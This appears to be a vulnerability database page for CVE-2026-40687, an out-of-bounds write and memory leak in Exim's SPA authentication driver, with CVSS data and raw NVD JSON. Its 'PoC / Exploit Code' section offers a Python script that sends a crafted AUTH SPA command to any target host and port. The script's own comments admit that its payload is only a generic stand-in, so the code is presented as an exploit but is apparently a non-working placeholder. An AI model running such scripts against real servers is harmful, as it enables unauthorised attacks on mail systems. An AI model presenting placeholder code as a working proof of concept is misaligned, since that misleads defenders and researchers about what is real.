Security Vulnerability Report
中文
CVE-2026-40687 CVSS 4.8 MEDIUM

CVE-2026-40687

Published: 2026-04-30 22:16:26
Last Modified: 2026-05-01 19:17:51

Description

In Exim before 4.99.2, when the SPA authentication driver is used with an adversarial SPA resource, there can be an out-of-bounds write that crashes the connection instance, or erroneous data processing that divulges data from uninitialized heap memory.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:exim:exim:*:*:*:*:*:*:*:* - VULNERABLE
Exim < 4.99.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys # PoC for CVE-2026-40687: Exim SPA Auth Driver Out-of-Bounds Write # This script attempts to trigger the vulnerability by sending a crafted SPA resource. def send_exploit(target_ip, target_port): try: # Establish TCP connection to the Exim SMTP server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Read SMTP banner s.recv(1024) # Send EHLO to identify capabilities s.send(b"EHLO test.example.com\r\n") s.recv(1024) # Attempt to initiate SPA Auth with malicious payload # The specific payload structure would depend on the SPA implementation details # This represents a generic trigger for the OOB write malicious_payload = b"\x00" * 100 + b"SPA_AUTH_TRIGGER" # Send AUTH command attempting to use the SPA driver s.send(b"AUTH SPA " + malicious_payload + b"\r\n") # Check response response = s.recv(1024) print("Server response:", response) s.close() print("[+] Exploit payload sent. Check if the service crashed or leaked memory.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python poc.py <target_ip> <port>") else: send_exploit(sys.argv[1], int(sys.argv[2]))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40687", "sourceIdentifier": "[email protected]", "published": "2026-04-30T22:16:25.923", "lastModified": "2026-05-01T19:17:51.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Exim before 4.99.2, when the SPA authentication driver is used with an adversarial SPA resource, there can be an out-of-bounds write that crashes the connection instance, or erroneous data processing that divulges data from uninitialized heap memory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-909"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:exim:exim:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.99.2", "matchCriteriaId": "E48EAA99-95DA-4695-BBEA-16D09AA0A508"}]}]}], "references": [{"url": "https://code.exim.org/exim/exim/commit/68b963b9f75ca27b38e1c0f8c87037990199f505", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://exim.org/static/doc/security/CVE-2026-40687.txt", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://exim.org/static/doc/security/cve-2026-04.1/CVE2026-40687.assessment", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/04/30/21", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}]}}